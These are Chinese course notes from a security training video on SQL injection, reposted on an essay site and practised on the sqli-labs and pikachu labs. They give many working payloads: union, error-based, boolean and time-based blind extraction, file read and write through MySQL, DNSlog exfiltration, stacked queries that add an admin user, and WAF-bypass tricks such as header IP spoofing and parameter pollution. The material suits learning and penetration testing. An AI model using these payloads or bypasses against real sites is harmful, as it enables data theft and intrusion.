1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > web漏洞“小迪安全课堂笔记”SQL注入

web漏洞“小迪安全课堂笔记”SQL注入

时间:2022-05-16 02:21:27

相关推荐

web漏洞“小迪安全课堂笔记”SQL注入

文章目录

前言SQL注入是什么?注入原理数据库结构mysql数据库参数类型请求方法如何判断注入点?判断注入1、信息收集2、数据注入 3、高权限注入魔术引号开关跨库注入获取所有数据库名获取指定数据库下的表名信息获取库test1下表testtable的信息获取库test1下表testtable的指定数据文件读写操作路径获取常用方法相关防注入Access结构Access暴力猜解不出mssqlPostGresqlsqlmaporacleMongodb与nosqlattack小结查询方式及盲注SQL盲注基于报错的SQL盲注-报错回显 floor, updatexml,extractvalue基于布尔的SQL盲注-逻辑判断regexp, like, ascii, left, ord, mid基于时间的SQL盲注-延时判断 if, sleep(由于网络延迟,可能会有判断问题)参考注入拓展加解密二次(源码——白盒——人工)DNSlog注入(高权限)中转注入——开发堆叠查询注入WAF绕过更改提交方式注入——前提后台程序允许其他提交方式特殊符号参数污染Fuzz大法:脚本爆破白名单IP白名单静态资源url 白名单爬虫白名单数据库特性sqlmap tamper流量限速参考资料

前言

小迪安全sql注入课堂笔记

小白学习笔记,视频是b站小迪安全,文末有链接。

SQL注入是什么?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简述:可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

例如:/index.php?id=/index.php?id=1&x=/?id=2//默认指向index.php参数是id=2其中id,x为变量,均可能存在sql注入。/index.php//可能存在post注入,在地址中不显示。

注入原理

<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//含有可控变量$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }}else{echo "Please input the ID as parameter with numeric value";}?>

数据库结构

网站-库-表-数据

webA-库A-用户A ---------表>列>数据

webB-库B-用户B ---------表>列>数据

若用户为root则可跨库查询,若目标网站没有注入点,可通过同一数据库其他有注入点网站获取信息(跨库注入——root)。

mysql数据库

SQL最全基础教程(有本事别看啊!)

mysql5.0以上版本存在一个 information_schema 的数据库,它记录着所有的数据库,表名,列名。可通过它查询表名和列名信息。低版本5.0以下:暴力查询或结合读取查询

mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || challenges || mysql || performance_schema || pikachu || security || sys|+--------------------+

information_schema 库名

information_schema.tables; 记录所有表名

information_schema.columns; 记录所有的列名

information_schema.schemata;记录所有库名;

数据库中“.”代表下一级,如dababase.table;表示库下的表名。

猜解多个数据可用LIMIT x,1;

–+为注释sql注入中的–+注释问题探索

参数类型

字符型,闭合

...$name=$_GET['x'];...$sql="SELECT * FROM users WHERE name='$name' LIMIT 0,1";//SELECT * FROM users WHERE name='xxx and 1=1' LIMIT 0,1//注入失败...

整数型,不闭合

...$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";...

通配符搜索,闭合

...$sql="SELECT * FROM users WHERE name like '%xxx%' LIMIT 0,1";...

JSON键值对——“name”:“zhangsan”,闭合与否看字节类型

请求方法

应在了解请求方法后注入

源码

<?php$get=$_GET['g'];//get接收参数名g的值赋值给变量getecho $get;//输出变量g$post=$_POST['p'];//post接收参数名p的值赋值给变量postecho $post;//输出p$cookie=$_COOKIE['c'];echo $cookie;$request=$_REQUEST['r'];echo $request;$s=$_SERVER['HTTP_USER_AGENT'];echo $s;?>

GET :无论post,get只要网址中有参数就能接收到

POST :只能post才能接收

GET /1.php?g=123&p=456 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/0101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

页面返回:123

POST /1.php?g=123 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/0101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 5Connection: closeUpgrade-Insecure-Requests: 1p=456

页面返回:123456

COOKIE:post,get都能接收,可注入

REQUEST:post,get全部接收

$_SERVER主要用于收集访客信息,若在接收访客信息后进行查询,可通过改包进行注入

如何判断注入点?

方法一(老办法):

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点,不能使用or(或运算)。

方法二:

SELECT * FROM users WHERE id=1 LIMIT 0,1;///?id=1页面正常SELECT * FROM users WHERE id=1一二三 LIMIT 0,1;///?id=1一二三,页面错误,可能存在注入点

归根结底就是看我们的输入会不会对网站造成影响

若网站返回404,或跳转页面,则此页面不存在注入点。

判断注入

猜解列数(字段数):order by x;寻找页面正常与错误的临界值。之后?id=-1 union select 1,2,3,…,x;

详解SELECT 1,2,3…的含义及其在SQL注入中的用法

1、信息收集

操作系统版本、数据库版本、数据库名、数据库用户、其他网站路径

查询数据库 version()

数据库名字 database()

数据库用户 user()——判断权限

操作系统 @@version_compile_os

例:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,user(),version()

2、数据注入 3、高权限注入

魔术引号开关

练习时,魔术引号开关要关magic_quotes_gpc(魔术引号开关)等函数与数据库安全:magic_quotes_gpc开启会对特定字符转义

将引号内容使用hex编码或宽字节绕过魔术引号开关

跨库注入

前提:已知数据库用户为root,5.0以上版本数据库

获取所有数据库名

例:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

group_concat:同一分组数据合并为数组,后台语句中没有group by分组,所以全部合并。

schema_name:列名

information_schema.schemata:涵盖所有库名信息的表

获取指定数据库下的表名信息

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test1’;

information_schema.tables:存储所有表名的表

table_schema:列,所对应表的库名

获取库test1下表testtable的信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘testtable’ and table_schema=‘test1’;

information_schema.columns:表存储所有列名

若不限制库名

union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘testtable’and table_schema=‘test1’;

其他库下也可能存在admin表,影响判断。

获取库test1下表testtable的指定数据

union select 1,user,password from test1.testtable;

这里一定要加test1.因为不在同一库下

文件读写操作

load_file():读取函数

常见的load_file()读取的敏感信息

若返回null,则需查看secure_file_priv变量指向的允许上传文件的位置。上传路径可在mysql下my.ini文件中添加secure_file_priv或修改。

在mysql当中‘\’为转译字符,所以路径用‘/’。

mysql> show global variables like '%secure%';+--------------------------+---------------+| Variable_name | Value |+--------------------------+---------------+| require_secure_transport | OFF || secure_auth | ON || secure_file_priv | E:\mysqltest\ |+--------------------------+---------------+3 rows in set, 1 warning (0.00 sec)mysql> select load_file('e:/mysqltest/test1.txt');+-------------------------------------------+| load_file('e:/mysqltest/test1.txt') |+-------------------------------------------+| This text is all that the file contains! |+-------------------------------------------+

into outfile 或 into dumpfile :导出函数

也存在secure_file_priv变量指向问题。

有文件写入,无文件创建后写入。

mysql> select 'x' into outfile 'e:/mysqltest/www.txt';Query OK, 1 row affected (0.00 sec)

可直接写入后门。

路径获取常用方法

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等。

相关防注入

自带防御:魔术引号。

内置函数:int ,addslashes(),is_int判定(纯数字是无法注入的)等。

自定义关键字:select 替换或丢弃数据包。

WAF防护软件:安全狗,宝塔等。

Access

数据库保存到网站源码下

结构

表-列-数据,access=库,所以无跨库注入,也没有高权限概念。

没有数据库名等概念和信息表,只有数据(只有表及以下结构)。

也没有文件读写功能。

墨者简单access注入

判断注点

找回显

因为access没有信息表和库名,所里只能采用暴力猜解。这里是猜admin。猜对显示猜错异常。 可用脚本或工具。

Access暴力猜解不出

Access偏移注入:表名知道,列名获取不到的情况

随机爆出数据

access偏移注入与原理

表名不知:查看登录源代码的表单值或观察URL特征等。

mssql

MSSQL注入

判断是否为mssql

墨者 - SQL手工注入漏洞测试(Sql Server数据库)

PostGresql

PostGresql 注入知识汇总

PostgreSQL 注入整理

sqlmap

sqlmap官网

sqlmap全参数详解

sqlmap超详细笔记+思维导图

oracle

Oracle注入总结

Mongodb与nosqlattack

Mongodb与常规数据库语法不一样,sqlmap不支持

Attacklinux环境下支持MongoDB的工具

nosqlattack

墨者刷题笔记

小结

不同发数据库的功能不同,不同数据库的注入方式都不同,能够获取的信息不同。

查询方式及盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据 在网站应用中进行数据显示查询操作 例: select * from news where id=$id insert插入数据 在网站应用中进行用户注册添加等操作 例: insert into news (id, url, text) values (2, 'x','$t') delete删除数据 后台管理里面删除文章删除用户等操作 例: delete from news where id=$id update更新数据 会员或后台中心数据同步或缓存等操作 例: update user set pwd='$p' where id=2 and username= 'admin' order by排序数据 一般结合表名或列名进行数据排序操作 例: select * from news order by $id 例: select id, name, price from news order by $order

通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

SQL盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝 试,这个过程称之为盲注。

无回显原因

sql语句本身没有回显,例如insert,update,delete,也可能网站不显示回显信息

基于报错的SQL盲注-报错回显 floor, updatexml,extractvalue

12种报错注入+万能语句

参考:数据会显示在报错信息中,或响应代码尾部(pikachu)

> Payload:pikachu insertusername=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submitusername=x' or updatexml(1,concat(0x7e,(version())),0) or'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submitusername=x' or extractvalue(1,concat(0x7e,database())) or'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submitpikachu updatesex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(selectcount(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_setsgroup by x)a) or '&email=wuhan&submit=submitsex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submitsex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or'&email=wuhan&submit=submitpikachu delete//删除是get方法,地址参数中含有空格,可能出现识别错误。所以空格换成“+”号或%20。/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

基于布尔的SQL盲注-逻辑判断regexp, like, ascii, left, ord, mid

and left(database(),1)=‘s’–+ 判断库名首字母,页面无变化猜对

and left(database(),2)=‘se’–+ 判断库名前两个字母

基于时间的SQL盲注-延时判断 if, sleep(由于网络延迟,可能会有判断问题)

sleep

mysql> select * from testtable where user='zhangsan'and sleep(5);Empty set (5.01 sec)

**if:**相当与编程语言当中的三目运算符,IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

mysql> select if(database()='test1',1,0);+---------------------------+| if(database()='test',1,0) |+---------------------------+|1 |+---------------------------+1 row in set (0.00 sec)

if sleep结合

mysql> select * from testtable where user='zhangsan'and sleep(if(database()='sss',1,0));Empty set (0.00 sec)mysql> select * from testtable where user='zhangsan'and sleep(if(database()='test1',1,0));Empty set (1.01 sec)

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()=‘aaaaa’,0,5))–+,判断数据库名

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=5,0,5))–+,判断数据库名长度

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(mid(database(),1,1)=‘t’,0,5))–+,判断数据库名首字母

select * from testtable where user='zhangsan'and sleep(if(mid(database(),1,1)='t',0,5));//判断数库首字母Empty set (0.01 sec)

and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+,①使用ASCII可避开转义,②开发工具脚本可直接for循环遍历,比字符方便。

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+,判断表名首字母

参考

like ‘ro%’ #判断 ro 或 ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配 xiaodi 及 xiaodi…等

if(条件,5,0) #条件成立 返回 5 反之 返回 0

sleep(5) #SQL 语句延时执行 5 秒

mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位

substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度

left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位

length(database())=8 #判断数据库 database()名的长度

ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97

注入拓展

加解密

后台带入数据库查询前先解密(注入先加密可解决,随情况而定)

一般是base64

二次(源码——白盒——人工)

例如:注册用户时,值后添加注入语句。在update时就会执行注入。

字节长度限制:1、前端限制,可更改。2、后端限制无办法。

DNSlog注入(高权限)

dns平台

DNSlog可以解决盲注也无回显问题,回显外带到dns平台

mysql> select * from users where id=1 and if((select load_file(concat('\\\\', (select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)

工具

中转注入——开发

堆叠查询注入

堆叠注入详解

Stacked injections(堆叠注入)从名词的含义可以看出是一堆 sql 语句(多条)一起执行。在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。注入时执行多条语句就叫做 stacked injection。不过存在局限性,只有部分数据库支持(mysql,mssql)

**应用场景之一:**注入需要获取管理员账号密码,密码加密无法解密。就可以使用堆叠注入插入数据,添加一个新用户账号密码。

WAF绕过

更改提交方式注入——前提后台程序允许其他提交方式

特殊符号

id=-1 union #a%0Aselect 1,2,3# ——防护规则是union,select不能连用

%0A ——16进制换行

%23 ——#——注释

参数污染

HTTP参数污染攻击

出现重复参数,以第几个为准?

id=1/&id=-1%20union%20select%201,2,3%23*/

/*/——注释,安全狗接收到/**之前,因为参数污染,结构是apache,获取last,所以执行注释内的sql。

Fuzz大法:脚本爆破

白名单

IP白名单

①网站本身地址可能不会拦截

②waf接收IP地址的方式:从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。

测试方法:修改 http 的 header 来 bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。

常见的 url 构造姿势:

http://10.9.9.201/sql.php/admin.php?id=1 http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd http://10.9.9.201/…/…/…/ manage/…/sql.asp?id=2 waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通 过/sql.php?a=/manage/&b=…/etc/passwd 绕过防御规则。

爬虫白名单

伪造成各官方搜索引擎(百度,搜狐)。——脚本

部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:

1、根据useragent

2、通过行为来判断,UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

User Agent switcher (Firefox附加组件)

数据库特性

1、Mysql 技巧

(1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格) (2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a 换行符

可结合注释符使用%23%0a,%2d%2d%0a。 (3)内联注释:

/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540

(4)mysql 黑魔法

select{x username}from {x11 test.admin};

(5)插入版本号

%20union%20/!44509select/%201,2,3

/!44509select/:通过插入版本号(4.45.09), 绕过检测机制 %20/!44509union/%23x%0aselect%201,2,3

特殊符号%20union%20all%23%0a%20select%201,2,3%23

2、SQL Server 技巧

(1)用来注释掉注射后查询的其余部分:

/* C 语言风格注释

– SQL 注释

; 00% 空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a 冒号

id=1 union:select 1,2 from:admin

(4)函数变形:如 db_name空白字符

3、Oracle 技巧

(1)注释符:–、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合 FUZZ字典爆破

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

sqlmap tamper

sqlmap --tamper 绕过WAF脚本分类整理

有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具

sqlmap发的包带了自己的工具头

判定方法一:WAF日志

判定方法二:WAF防护规则

判定方法三:抓包

解决方法:

思路一:采用salmap的随机agent头方法

思路二:采用搜索引擎的头

SQLMap说明

扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只

是修改一个)

扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

流量限速

延迟,ip代理池,搜索引擎爬虫 http 指纹头 useragent

#应用层

大小写/关键字替换

id=1 UnIoN//SeLeCT 1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A 等

注释使用

// – --+ # // + :%00 /!**/等

再次循环

union==uunionnion

等价替换

user()=@@user() and=& or=| ascii=hex 等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,unlcode,base64 等

更改请求提交方式

GET POST COOKIE 等

POST->multipart/form-data

中间件 HPP 参数污染

#逻辑层

1、逻辑问题

(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。 (3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP

没有防护,直接访问 HTTP 站点绕过防护。

(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数

输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from

information_schema.columns

2、性能问题

猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只

要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向

量时超出了其缓冲区长度就会引发 bug,从而实现绕过。

例子 1:

?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试

长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。

例子 2:

?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。

参考资料

小迪安全/video/BV1JZ4y1c7ro?p=11

百度百科 靶场sqli-labs,pikachu CSDN博客

墨者

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。